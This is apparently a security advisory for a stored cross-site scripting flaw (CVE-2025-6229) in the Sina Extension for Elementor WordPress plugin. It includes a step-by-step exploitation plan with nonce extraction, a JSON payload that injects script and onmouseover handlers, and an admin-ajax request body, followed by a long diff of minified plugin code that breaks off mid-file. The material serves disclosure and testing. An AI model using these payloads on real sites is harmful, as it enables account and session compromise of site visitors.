Sina Extension for Elementor (Slider, Gallery, Form, Modal, Data Table, Tab, Particle, Free Elementor Widgets & Elementor Templates) <= 3.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via `Fancy Text Widget` And `Countdown Widget`
Description
The Sina Extension for Elementor (Header Builder, Footer Builter, Theme Builder, Slider, Gallery, Form, Modal, Data Table Free Elementor Widgets & Elementor Templates) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `Fancy Text Widget` And `Countdown Widget` DOM attributes in all versions up to, and including, 3.7.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.7.0What Changed in the Fix
Changes introduced in v3.7.1
Source Code
WordPress.org SVN# Vulnerability Research Plan - CVE-2025-6229 ## 1. Vulnerability Summary The **Sina Extension for Elementor** plugin (up to v3.7.0) contains a stored cross-site scripting (XSS) vulnerability. Authenticated users with **Contributor-level permissions** or higher can inject malicious JavaScript into …
Show full research plan
Vulnerability Research Plan - CVE-2025-6229
1. Vulnerability Summary
The Sina Extension for Elementor plugin (up to v3.7.0) contains a stored cross-site scripting (XSS) vulnerability. Authenticated users with Contributor-level permissions or higher can inject malicious JavaScript into pages via "DOM attributes" in the Fancy Text and Countdown widgets. This occurs because the plugin fails to properly sanitize or escape user-supplied settings before rendering them as attributes in the widget's HTML wrapper or sub-elements.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.phpvia theelementor_ajaxaction or the standard WordPress Post REST API (if Elementor is configured to allow it). - Vulnerable Widgets:
sina-fancytext(Fancy Text) andsina-countdown(Countdown). - Vulnerable Parameters: Settings rendered as DOM attributes (e.g., custom IDs, classes, or specific widget configuration fields like
due_dateorstrings). - Authentication Level: Contributor+ (any role allowed to use the Elementor Editor).
- Preconditions: Elementor must be active, and the user must have permission to edit a post/page using Elementor.
3. Code Flow (Inferred)
- Input: A Contributor user edits a post using the Elementor Editor and adds a Sina Extension widget.
- Storage: The widget settings are sent to the server via the
elementor_ajaxaction (action:editor_post_save). The payload is stored in the_elementor_datapost meta as a JSON-encoded string. - Rendering: When a user (e.g., an Admin or visitor) views the post:
- Elementor calls the
render()method of the Sina Extension widget class. - The plugin retrieves the settings from the post meta.
- The plugin generates HTML, injecting settings into DOM attributes (e.g.,
<div class="sina-fancy-text-wrapper" data-settings="...">).
- Elementor calls the
- Sink: The plugin likely uses a pattern similar to:
echo '<div ' . $this->get_render_attribute_string( 'wrapper' ) . '>';
If the settings passed toadd_render_attributewere not sanitized, or if the plugin manually echoes attributes withoutesc_attr(), the XSS payload is executed in the browser.
4. Nonce Acquisition Strategy
Elementor's AJAX operations require a specific nonce. The execution agent should follow this strategy:
- Create a Test Post: Use WP-CLI to create a page and enable Elementor.
wp post create --post_type=page --post_title="XSS Test" --post_status=publish --post_author=[CONTRIBUTOR_ID] - Access Editor: Navigate to the Elementor Editor URL for that post:
wp-admin/post.php?post=[POST_ID]&action=elementor - Extract Nonce: Use
browser_evalto extract the Elementor AJAX nonce from the JavaScript configuration object.- Variable:
window.elementorCommon?.config?.ajax?.nonce - Alternative:
window.elementorConfig?.nonces?.save_post
- Variable:
5. Exploitation Strategy
The exploit will involve manually saving a malicious Elementor JSON payload to a post.
Step 1: Data Preparation
Identify the JSON structure for the sina-fancytext widget. A typical payload for _elementor_data looks like this:
[
{
"id": "67890",
"elType": "widget",
"settings": {
"fancytext_prefix": "Test",
"fancytext_strings": "String1",
"fancytext_suffix": "\"><script>alert(document.domain)</script>",
"_id": "exploit-id\" onmouseover=\"alert(1)\" data-x=\""
},
"elements": [],
"widgetType": "sina-fancytext"
}
]
Step 2: HTTP Request
Use http_request to send the save action to Elementor.
- URL:
http://[TARGET]/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=elementor_ajax &_nonce=[EXTRACTED_NONCE] &actions={"editor_post_save":{"action":"editor_post_save","data":{"status":"publish","elements":[MALICIOUS_JSON_ARRAY]}}} &editor_post_id=[POST_ID]
Step 3: Triggering
Navigate to the public URL of the page created in Step 1.
6. Test Data Setup
- User: A user with the
contributorrole. - Post: A page or post where
_elementor_edit_modeis set toactive. - Plugin Config: Ensure the "Fancy Text" and "Countdown" widgets are enabled in the Sina Extension settings (usually in
wp-admin/admin.php?page=sina-extension-for-elementor).
7. Expected Results
- The HTTP response from
admin-ajax.phpshould return{"success":true,...}. - When viewing the page, the HTML source should contain the unescaped payload:
class="..."><script>alert(document.domain)</script>"
ORid="exploit-id" onmouseover="alert(1)" ..." - A JavaScript alert should trigger in the browser context.
8. Verification Steps
- Check Database: Use WP-CLI to verify the payload is stored in post meta.
wp post meta get [POST_ID] _elementor_data - Verify Output: Use
http_requestto fetch the frontend page and grep for the payload.# Check for the broken-out attribute grep "onmouseover=\"alert(1)\""
9. Alternative Approaches
If the elementor_ajax action is restricted:
- Direct REST API: Try updating the post via
wp-json/wp/v2/pages/[ID]if the Contributor has REST API permissions. - Classic Editor: If the plugin supports Shortcodes as well (many Elementor widget libraries do), try injecting the payload via a shortcode like
[sina_fancy_text suffix='"><script>alert(1)</script>']in the standard WordPress editor. - Other Attributes: Try common Sina settings like
sina_fancytext_strings,countdown_label_days, or the "Advanced" tab's "Custom ID" (_elementor_css_id) and "Custom Classes" (_elementor_extra_css_classes) if they are handled by the Sina render logic.
Summary
The Sina Extension for Elementor plugin (<= 3.7.0) is vulnerable to stored cross-site scripting via the 'Fancy Text' and 'Countdown' widgets. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript into widget settings, which the plugin fails to sanitize or escape before rendering as DOM attributes on the front end.
Security Fix
Only in /home/deploy/wp-safety.org/data/plugin-versions/sina-extension-for-elementor/3.7.0/admin/assets/css: icofont.css Only in /home/deploy/wp-safety.org/data/plugin-versions/sina-extension-for-elementor/3.7.0/admin/assets/css: sina-admin.css Only in /home/deploy/wp-safety.org/data/plugin-versions/sina-extension-for-elementor/3.7.0/admin/assets/js: sina-admin.js Only in /home/deploy/wp-safety.org/data/plugin-versions/sina-extension-for-elementor/3.7.0/admin/assets/js: sina-templates-lib.js @@ -1,4 +1,4 @@ -<?php namespace Sina_Extension;use \Elementor\Plugin;use \Elementor\TemplateLibrary\Source_Base;use \Elementor\TemplateLibrary\Source_Local;use \Elementor\Core\Common\Modules\Ajax\Module as Ajax;use \Elementor\User;class Sina_Ext_Templates_Library{public static function init(){if(!empty(get_option('sina_templates_option'))){add_action('elementor/init',[__CLASS__,'register_source']);add_action('elementor/editor/after_enqueue_scripts',[__CLASS__,'enqueue_editor_scripts']);add_action('elementor/ajax/register_actions',[__CLASS__,'register_ajax_actions']);add_action('elementor/editor/footer',[__CLASS__,'render_template']);}}public static function logo(){return defined('SINA_EXT_PRO_URL')?SINA_EXT_PRO_URL.'assets/img/logo.png':SINA_EXT_URL.'admin/assets/img/logo.png';}public static function register_source(){Plugin::$instance->templates_manager->register_source(__NAMESPACE__.'\Sina_Ext_Templates_Source');}public static function enqueue_editor_scripts(){wp_enqueue_script('sina-templates-lib',SINA_EXT_URL.'admin/assets/js/sina-templates-lib.js',['jquery','backbone-marionette','backbone-radio','elementor-common-modules','elementor-dialog',],SINA_EXT_VERSION,true);wp_localize_script('sina-templates-lib','sina_ext_templates_lib',array('logoUrl'=>self::logo(),));}public static function register_ajax_actions(Ajax $ajax){$library_ajax_requests=['sina_get_library_data',];foreach($library_ajax_requests as $ajax_request){$ajax->register_ajax_action($ajax_request,function($data)use($ajax_request){return self::handle_ajax_request($ajax_request,$data);});}}private static function handle_ajax_request($ajax_request,array $data){if(!User::is_current_user_can_edit_post_type(Source_Local::CPT)){throw new \Exception('Access Denied');}if(!empty($data['editor_post_id'])){$editor_post_id=absint($data['editor_post_id']);if(!get_post($editor_post_id)){throw new \Exception(__('Post not found.','sina-ext'));}Plugin::$instance->db->switch_to_post($editor_post_id);}$result=call_user_func([__CLASS__,$ajax_request],$data);if(is_wp_error($result)){throw new \Exception($result->get_error_message());}return $result;}public static function sina_get_library_data(array $args){$library_data=self::get_library_data(!empty($args['sync']));Plugin::$instance->documents->get_document_types();return['templates'=>self::get_templates(),'config'=>$library_data['types_data'],];}public static function get_library_data($force_update=false){return self::get_templates_data($force_update);}private static function get_templates_data($force_update=false){$type=get_option('sina_ext_type');$key=('pro'==$type)?get_option('sina_ext_pro_license_key'):get_option('sina_ext_license_key');$url=self::$api_info_url.'&type='.$type.'&dom='.get_option('siteurl').'&key='.$key.'&version='.SINA_EXT_VERSION;$response=wp_remote_get($url,['timeout'=>60]);$info_data=json_decode(wp_remote_retrieve_body($response),true);$templates=[];if(isset($info_data['library']['templates'])&&!empty($info_data['library']['templates'])){$templates=$info_data['library'];}return $templates;}public static function get_templates(){$source=Plugin::$instance->templates_manager->get_source('sina_ext');return $source->get_items();}public static function ajax_reset_api_data(){check_ajax_referer('elementor_reset_library','_nonce');self::get_templates_data(true);wp_send_json_success();}public static function get_template_content($template_id){$type=get_option('sina_ext_type');$key=('pro'==$type)?get_option('sina_ext_pro_license_key'):get_option('sina_ext_license_key');$url=sprintf(self::$api_get_template_content_url.'&type='.$type.'&dom='.get_option('siteurl').'&key='.$key,$template_id);$response=wp_remote_get($url,['timeout'=>60]);$data=json_decode(wp_remote_retrieve_body($response),true);$response_code=(int) wp_remote_retrieve_response_code($response);if(!$response_code){return new \WP_Error(500,'No Response');}if(false===$data){return new \WP_Error(422,'Wrong Server Response');}return $data;}public static function render_template(){ ?> +<?php namespace Sina_Extension;use \Elementor\Plugin;use \Elementor\TemplateLibrary\Source_Base;use \Elementor\TemplateLibrary\Source_Local;use \Elementor\Core\Common\Modules\Ajax\Module as Ajax;use \Elementor\User;class Sina_Ext_Templates_Library{public static function init(){if(!empty(get_option('sina_templates_option'))){add_action('elementor/init',[__CLASS__,'register_source']);add_action('elementor/editor/after_enqueue_scripts',[__CLASS__,'enqueue_editor_scripts']);add_action('elementor/ajax/register_actions',[__CLASS__,'register_ajax_actions']);add_action('elementor/editor/footer',[__CLASS__,'render_template']);}}public static function logo(){return defined('SINA_EXT_PRO_URL')?SINA_EXT_PRO_URL.'assets/img/logo.png':SINA_EXT_URL.'admin/assets/img/logo.png';}public static function register_source(){Plugin::$instance->templates_manager->register_source(__NAMESPACE__.'\Sina_Ext_Templates_Source');}public static function enqueue_editor_scripts(){wp_enqueue_script('sina-templates-lib',SINA_EXT_URL.'admin/assets/js/sina-templates-lib.min.js',['jquery','backbone-marionette','backbone-radio','elementor-common-modules','elementor-dialog',],SINA_EXT_VERSION,true);wp_localize_script('sina-templates-lib','sina_ext_templates_lib',array('logoUrl'=>self::logo(),));}public static function register_ajax_actions(Ajax $ajax){$library_ajax_requests=['sina_get_library_data',];foreach($library_ajax_requests as $ajax_request){$ajax->register_ajax_action($ajax_request,function($data)use($ajax_request){return self::handle_ajax_request($ajax_request,$data);});}}private static function handle_ajax_request($ajax_request,array $data){if(!User::is_current_user_can_edit_post_type(Source_Local::CPT)){throw new \Exception('Access Denied');}if(!empty($data['editor_post_id'])){$editor_post_id=absint($data['editor_post_id']);if(!get_post($editor_post_id)){throw new \Exception(__('Post not found.','sina-ext'));}Plugin::$instance->db->switch_to_post($editor_post_id);}$result=call_user_func([__CLASS__,$ajax_request],$data);if(is_wp_error($result)){throw new \Exception($result->get_error_message());}return $result;}public static function sina_get_library_data(array $args){$library_data=self::get_library_data(!empty($args['sync']));Plugin::$instance->documents->get_document_types();return['templates'=>self::get_templates(),'config'=>$library_data['types_data'],];}public static function get_library_data($force_update=false){return self::get_templates_data($force_update);}private static function get_templates_data($force_update=false){$type=get_option('sina_ext_type');$key=('pro'==$type)?get_option('sina_ext_pro_license_key'):get_option('sina_ext_license_key');$url=self::$api_info_url.'&type='.$type.'&dom='.get_option('siteurl').'&key='.$key.'&version='.SINA_EXT_VERSION;$response=wp_remote_get($url,['timeout'=>60]);$info_data=json_decode(wp_remote_retrieve_body($response),true);$templates=[];if(isset($info_data['library']['templates'])&&!empty($info_data['library']['templates'])){$templates=$info_data['library'];}return $templates;}public static function get_templates(){$source=Plugin::$instance->templates_manager->get_source('sina_ext');return $source->get_items();}public static function ajax_reset_api_data(){check_ajax_referer('elementor_reset_library','_nonce');self::get_templates_data(true);wp_send_json_success();}public static function get_template_content($template_id){$type=get_option('sina_ext_type');$key=('pro'==$type)?get_option('sina_ext_pro_license_key'):get_option('sina_ext_license_key');$url=sprintf(self::$api_get_template_content_url.'&type='.$type.'&dom='.get_option('siteurl').'&key='.$key,$template_id);$response=wp_remote_get($url,['timeout'=>60]);$data=json_decode(wp_remote_retrieve_body($response),true);$response_code=(int) wp_remote_retrieve_response_code($response);if(!$response_code){return new \WP_Error(500,'No Response');}if(false===$data){return new \WP_Error(422,'Wrong Server Response');}return $data;}public static function render_template(){ ?> <script type="text/template" id="tmpl-elementor-template-library-header-actions-sina-ext"> <div id="elementor-template-library-header-sync" class="elementor-templates-modal__header__item"> <i class="eicon-sync" aria-hidden="true" title="<?php echo esc_attr__('Sync Templates','sina-ext'); ?>"></i> Only in /home/deploy/wp-safety.org/data/plugin-versions/sina-extension-for-elementor/3.7.0/admin: sina-ext-templates-readable.php @@ -1,4 +1,4 @@ -<?php namespace Sina_Extension;if(!defined('ABSPATH')){exit();}use \Elementor\Plugin;class Sina_Ext_Theme_Builder{const POST_TYPE='sina-ext-template';const POST_TYPE_META='sina-ext-template-meta';private static $_instance=null;public static function instance(){if(is_null(self::$_instance)){self::$_instance=new self();}return self::$_instance;}public function __construct(){add_action('admin_enqueue_scripts',[$this,'enqueue_scripts']);add_action('init',[$this,'register_theme_builder_post_type']);add_action('manage_'.self::POST_TYPE.'_posts_columns',[$this,'manage_columns']);add_action('manage_'.self::POST_TYPE.'_posts_custom_column',[$this,'columns_content'],10,2);add_action('wp_ajax_sina_ext_save_template',[$this,'save_template']);add_action('wp_ajax_sina_ext_get_template',[$this,'get_template_by_id']);add_action('wp_ajax_sina_ext_get_posts_by_query',[$this,'get_posts_by_query']);add_action('admin_footer',[$this,'print_popup']);add_action('get_header',[$this,'override_default_header']);add_action('get_footer',[$this,'override_default_footer']);add_action('sina_ext_header_builder_content',[$this,'header_builder_content']);add_action('sina_ext_footer_builder_content',[$this,'footer_builder_content']);add_action('sina_ext_archive_builder_content',[$this,'archive_page_builder_content']);add_action('sina_ext_single_builder_content',[$this,'single_page_builder_content']);add_action('sina_ext_others_builder_content',[$this,'others_page_builder_content']);add_filter('parse_query',[$this,'query_filter']);add_filter('views_edit-'.self::POST_TYPE,[$this,'print_tabs']);add_filter('template_include',[$this,'template_loader']);add_filter('body_class',[$this,'body_classes']);}public function enqueue_scripts($hook){if(isset($_GET['post_type'])&&$_GET['post_type']==self::POST_TYPE){wp_enqueue_style('select2',SINA_EXT_URL.'admin/assets/css/select2.min.css');wp_enqueue_style('sina-ext-theme-builder',SINA_EXT_URL.'admin/assets/css/sina-admin-theme-builder.min.css');wp_enqueue_script('select2',SINA_EXT_URL.'admin/assets/js/select2.min.js',['jquery'],SINA_EXT_VERSION,true);wp_enqueue_script('sina-ext-theme-builder',SINA_EXT_URL.'admin/assets/js/sina-admin-theme-builder.js',['jquery','wp-util'],SINA_EXT_VERSION,true);$localize_data=['ajaxurl'=>admin_url('admin-ajax.php'),'nonce'=>wp_create_nonce('sina_ext_tmp_nonce'),'adminURL'=>admin_url(),'hflocation'=>self::get_hf_select(),'archivelocation'=>self::get_archive_select(),'singlelocation'=>self::get_single_select(),'otherslocation'=>self::get_others_select(),'templatetype'=>self::get_template_type(),'labels'=>['fields'=>['name'=>['title'=>esc_html__('Name','sina-ext'),'placeholder'=>esc_html__('Enter a template name','sina-ext')],'type'=>esc_html__('Type','sina-ext'),'display'=>esc_html__('Display','sina-ext'),],'head'=>esc_html__('Template Settings','sina-ext'),'buttons'=>['elementor'=>['label'=>esc_html__('Edit With Elementor','sina-ext'),'link'=>'#'],'save'=>['label'=>esc_html__('Save Settings','sina-ext'),'saving'=>esc_html__('Saving...','sina-ext'),'saved'=>esc_html__('All Data Saved','sina-ext'),'link'=>'#']],]];wp_localize_script('sina-ext-theme-builder','Sina_Ext_Theme_Builder',$localize_data);}}public static function get_hf_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$post_types=get_post_types($args,'objects');$special_pages=['front'=>esc_html__('Front Page','sina-ext'),'blog'=>esc_html__('Blog / Posts Page','sina-ext'),'search'=>esc_html__('Search Page','sina-ext'),'404'=>esc_html__('404 Page','sina-ext'),'author'=>esc_html__('Author Archive','sina-ext'),'date'=>esc_html__('Date Archive','sina-ext'),];if(class_exists('WooCommerce')){$special_pages['woo-shop']=esc_html__('WooCommerce Shop Page','sina-ext');}$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),'global'=>esc_html__('Entire Website','sina-ext'),'singulars'=>esc_html__('All Singulars','sina-ext'),'archives'=>esc_html__('All Archives','sina-ext'),],],'special-pages'=>['label'=>esc_html__('Special Pages','sina-ext'),'value'=>$special_pages,],];foreach($post_types as $post_type){if('sina-ext-template'===$post_type->name){continue;}if('page'===$post_type->name){$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>['all-'.$post_type->name=>esc_html('All '.$post_type->label),],];}else{$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>[$post_type->name.'-archive'=>esc_html($post_type->label.' Archive'),$post_type->name.'-singulars'=>esc_html($post_type->label.' Singulars'),],];}}$selection_options['specific-target']=['label'=>esc_html__('Specific Target','sina-ext'),'value'=>['specifics'=>esc_html__('Specific Pages / Posts.','sina-ext'),],];return apply_filters('sina_ext_display_hf_list',$selection_options);}public static function get_archive_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$post_types=get_post_types($args,'objects');unset($post_types['page']);unset($post_types['post']);unset($post_types['product']);unset($post_types[self::POST_TYPE]);$special_pages=['blog'=>esc_html__('Blog / Posts Page','sina-ext'),'date'=>esc_html__('Date Archive','sina-ext'),'author'=>esc_html__('Author Archive','sina-ext'),];$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),'archives'=>esc_html__('All Archives','sina-ext'),],],'special-pages'=>['label'=>esc_html__('Special Pages','sina-ext'),'value'=>$special_pages,],];foreach($post_types as $post_type){$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>[$post_type->name.'-archive'=>esc_html($post_type->label.' Archive'),],];}return apply_filters('sina_ext_display_archive_list',$selection_options);}public static function get_single_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$post_types=get_post_types($args,'objects');unset($post_types['page']);unset($post_types['product']);unset($post_types[self::POST_TYPE]);$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),'singulars'=>esc_html__('All Singular','sina-ext'),],],];foreach($post_types as $post_type){$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>[$post_type->name.'-singulars'=>esc_html($post_type->label.' Singular'),],];}return apply_filters('sina_ext_display_single_list',$selection_options);}public static function get_others_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$special_pages=['front'=>esc_html__('Front Page','sina-ext'),'search'=>esc_html__('Search Page','sina-ext'),'404'=>esc_html__('404 Page','sina-ext'),];$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),],],'special-pages'=>['label'=>esc_html__('Special Pages','sina-ext'),'value'=>$special_pages,],];return apply_filters('sina_ext_display_others_list',$selection_options);}public static function get_template_type(){$template_type=['header'=>['label'=>esc_html__('Header','sina-ext'),'optionkey'=>'header'],'footer'=>['label'=>esc_html__('Footer','sina-ext'),'optionkey'=>'footer'],'archive'=>['label'=>esc_html__('Archive','sina-ext'),'optionkey'=>'archivepage'],'single'=>['label'=>esc_html__('Single','sina-ext'),'optionkey'=>'singlepage'],'others'=>['label'=>esc_html__('Others','sina-ext'),'optionkey'=>'otherpage'],];return apply_filters('sina_ext_builder_template_types',$template_type);}public function register_theme_builder_post_type(){$labels=['name'=>esc_html_x('Sina Theme Builder','Post Type General Name','sina-ext'),'singular_name'=>esc_html_x('Sina Theme Builder','Post Type Singular Name','sina-ext'),'menu_name'=>esc_html__('Sina Theme Builder','sina-ext'),'name_admin_bar'=>esc_html__('Sina Theme Builder','sina-ext'),'archives'=>esc_html__('Template Archives','sina-ext'),'attributes'=>esc_html__('Template Attributes','sina-ext'),'parent_item_colon'=>esc_html__('Parent Item:','sina-ext'),'all_items'=>esc_html__('Templates','sina-ext'),'add_new_item'=>esc_html__('Add New Template','sina-ext'),'add_new'=>esc_html__('Add New','sina-ext'),'new_item'=>esc_html__('New Template','sina-ext'),'edit_item'=>esc_html__('Edit Template','sina-ext'),'update_item'=>esc_html__('Update Template','sina-ext'),'view_item'=>esc_html__('View Template','sina-ext'),'view_items'=>esc_html__('View Templates','sina-ext'),'search_items'=>esc_html__('Search Templates','sina-ext'),'not_found'=>esc_html__('Not found','sina-ext'),'not_found_in_trash'=>esc_html__('Not found in Trash','sina-ext'),'featured_image'=>esc_html__('Featured Image','sina-ext'),'set_featured_image'=>esc_html__('Set featured image','sina-ext'),'remove_featured_image'=>esc_html__('Remove featured image','sina-ext'),'use_featured_image'=>esc_html__('Use as featured image','sina-ext'),'insert_into_item'=>esc_html__('Insert into Template','sina-ext'),'uploaded_to_this_item'=>esc_html__('Uploaded to this Template','sina-ext'),'items_list'=>esc_html__('Templates list','sina-ext'),'items_list_navigation'=>esc_html__('Templates list navigation','sina-ext'),'filter_items_list'=>esc_html__('Filter from list','sina-ext'),];$args=['label'=>esc_html__('Theme Builder','sina-ext'),'description'=>esc_html__('Sina Extension Theme Builder','sina-ext'),'labels'=>$labels,'supports'=>['title','elementor','thumbnail'],'hierarchical'=>false,'public'=>true,'show_ui'=>true,'show_in_menu'=>false,'show_in_admin_bar'=>false,'show_in_nav_menus'=>true,'can_export'=>true,'has_archive'=>false,'rewrite'=>['slug'=>'sina-ext-template','pages'=>false,'with_front'=>true,'feeds'=>false,],'query_var'=>true,'exclude_from_search'=>true,'publicly_queryable'=>true,'capability_type'=>'page','show_in_rest'=>true,'rest_base'=>self::POST_TYPE,];register_post_type(self::POST_TYPE,$args);$this->get_active();flush_rewrite_rules();}public function manage_columns($columns){$column_date=$columns['date'];unset($columns['date']);$columns['type']=esc_html__('Type','sina-ext');$columns['status']=esc_html__('Display','sina-ext');$columns['date']=esc_html($column_date);return $columns;}public function columns_content($column_name,$post_id){$type=get_post_meta($post_id,self::POST_TYPE_META.'_type',true);if(!array_key_exists($type,self::get_template_type())){return;}if($column_name==='type'){echo isset(self::get_template_type()[$type])?'<div class="column-type">'.self::get_template_type()[$type]['label'].'</div>':'-';}if($column_name==='status'){$display=get_post_meta($post_id,self::POST_TYPE_META.'_location',true); ?> +<?php namespace Sina_Extension;if(!defined('ABSPATH')){exit();}use \Elementor\Plugin;class Sina_Ext_Theme_Builder{const POST_TYPE='sina-ext-template';const POST_TYPE_META='sina-ext-template-meta';private static $_instance=null;public static function instance(){if(is_null(self::$_instance)){self::$_instance=new self();}return self::$_instance;}public function __construct(){add_action('admin_enqueue_scripts',[$this,'enqueue_scripts']);add_action('init',[$this,'register_theme_builder_post_type']);add_action('manage_'.self::POST_TYPE.'_posts_columns',[$this,'manage_columns']);add_action('manage_'.self::POST_TYPE.'_posts_custom_column',[$this,'columns_content'],10,2);add_action('wp_ajax_sina_ext_save_template',[$this,'save_template']);add_action('wp_ajax_sina_ext_get_template',[$this,'get_template_by_id']);add_action('wp_ajax_sina_ext_get_posts_by_query',[$this,'get_posts_by_query']);add_action('admin_footer',[$this,'print_popup']);add_action('get_header',[$this,'override_default_header']);add_action('get_footer',[$this,'override_default_footer']);add_action('sina_ext_header_builder_content',[$this,'header_builder_content']);add_action('sina_ext_footer_builder_content',[$this,'footer_builder_content']);add_action('sina_ext_archive_builder_content',[$this,'archive_page_builder_content']);add_action('sina_ext_single_builder_content',[$this,'single_page_builder_content']);add_action('sina_ext_others_builder_content',[$this,'others_page_builder_content']);add_filter('parse_query',[$this,'query_filter']);add_filter('views_edit-'.self::POST_TYPE,[$this,'print_tabs']);add_filter('template_include',[$this,'template_loader']);add_filter('body_class',[$this,'body_classes']);}public function enqueue_scripts($hook){if(isset($_GET['post_type'])&&$_GET['post_type']==self::POST_TYPE){wp_enqueue_style('select2',SINA_EXT_URL.'admin/assets/css/select2.min.css');wp_enqueue_style('sina-ext-theme-builder',SINA_EXT_URL.'admin/assets/css/sina-admin-theme-builder.min.css');wp_enqueue_script('select2',SINA_EXT_URL.'admin/assets/js/select2.min.js',['jquery'],SINA_EXT_VERSION,true);wp_enqueue_script('sina-ext-theme-builder',SINA_EXT_URL.'admin/assets/js/sina-admin-theme-builder.min.js',['jquery','wp-util'],SINA_EXT_VERSION,true);$localize_data=['ajaxurl'=>admin_url('admin-ajax.php'),'nonce'=>wp_create_nonce('sina_ext_tmp_nonce'),'adminURL'=>admin_url(),'hflocation'=>self::get_hf_select(),'archivelocation'=>self::get_archive_select(),'singlelocation'=>self::get_single_select(),'otherslocation'=>self::get_others_select(),'templatetype'=>self::get_template_type(),'labels'=>['fields'=>['name'=>['title'=>esc_html__('Name','sina-ext'),'placeholder'=>esc_html__('Enter a template name','sina-ext')],'type'=>esc_html__('Type','sina-ext'),'display'=>esc_html__('Display','sina-ext'),],'head'=>esc_html__('Template Settings','sina-ext'),'buttons'=>['elementor'=>['label'=>esc_html__('Edit With Elementor','sina-ext'),'link'=>'#'],'save'=>['label'=>esc_html__('Save Settings','sina-ext'),'saving'=>esc_html__('Saving...','sina-ext'),'saved'=>esc_html__('All Data Saved','sina-ext'),'link'=>'#']],]];wp_localize_script('sina-ext-theme-builder','Sina_Ext_Theme_Builder',$localize_data);}}public static function get_hf_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$post_types=get_post_types($args,'objects');$special_pages=['front'=>esc_html__('Front Page','sina-ext'),'blog'=>esc_html__('Blog / Posts Page','sina-ext'),'search'=>esc_html__('Search Page','sina-ext'),'404'=>esc_html__('404 Page','sina-ext'),'author'=>esc_html__('Author Archive','sina-ext'),'date'=>esc_html__('Date Archive','sina-ext'),];if(class_exists('WooCommerce')){$special_pages['woo-shop']=esc_html__('WooCommerce Shop Page','sina-ext');}$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),'global'=>esc_html__('Entire Website','sina-ext'),'singulars'=>esc_html__('All Singulars','sina-ext'),'archives'=>esc_html__('All Archives','sina-ext'),],],'special-pages'=>['label'=>esc_html__('Special Pages','sina-ext'),'value'=>$special_pages,],];foreach($post_types as $post_type){if('sina-ext-template'===$post_type->name){continue;}if('page'===$post_type->name){$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>['all-'.$post_type->name=>esc_html('All '.$post_type->label),],];}else{$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>[$post_type->name.'-archive'=>esc_html($post_type->label.' Archive'),$post_type->name.'-singulars'=>esc_html($post_type->label.' Singulars'),],];}}$selection_options['specific-target']=['label'=>esc_html__('Specific Target','sina-ext'),'value'=>['specifics'=>esc_html__('Specific Pages / Posts.','sina-ext'),],];return apply_filters('sina_ext_display_hf_list',$selection_options);}public static function get_archive_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$post_types=get_post_types($args,'objects');unset($post_types['page']);unset($post_types['post']);unset($post_types['product']);unset($post_types[self::POST_TYPE]);$special_pages=['blog'=>esc_html__('Blog / Posts Page','sina-ext'),'date'=>esc_html__('Date Archive','sina-ext'),'author'=>esc_html__('Author Archive','sina-ext'),];$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),'archives'=>esc_html__('All Archives','sina-ext'),],],'special-pages'=>['label'=>esc_html__('Special Pages','sina-ext'),'value'=>$special_pages,],];foreach($post_types as $post_type){$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>[$post_type->name.'-archive'=>esc_html($post_type->label.' Archive'),],];}return apply_filters('sina_ext_display_archive_list',$selection_options);}public static function get_single_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$post_types=get_post_types($args,'objects');unset($post_types['page']);unset($post_types['product']);unset($post_types[self::POST_TYPE]);$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),'singulars'=>esc_html__('All Singular','sina-ext'),],],];foreach($post_types as $post_type){$selection_options[$post_type->name]=['label'=>esc_html($post_type->label),'value'=>[$post_type->name.'-singulars'=>esc_html($post_type->label.' Singular'),],];}return apply_filters('sina_ext_display_single_list',$selection_options);}public static function get_others_select(){$args=['public'=>true,'show_in_nav_menus'=>true,];$special_pages=['front'=>esc_html__('Front Page','sina-ext'),'search'=>esc_html__('Search Page','sina-ext'),'404'=>esc_html__('404 Page','sina-ext'),];$selection_options=['basic'=>['label'=>esc_html__('Basic','sina-ext'),'value'=>[''=>esc_html__('None','sina-ext'),],],'special-pages'=>['label'=>esc_html__('Special Pages','sina-ext'),'value'=>$special_pages,],];return apply_filters('sina_ext_display_others_list',$selection_options);}public static function 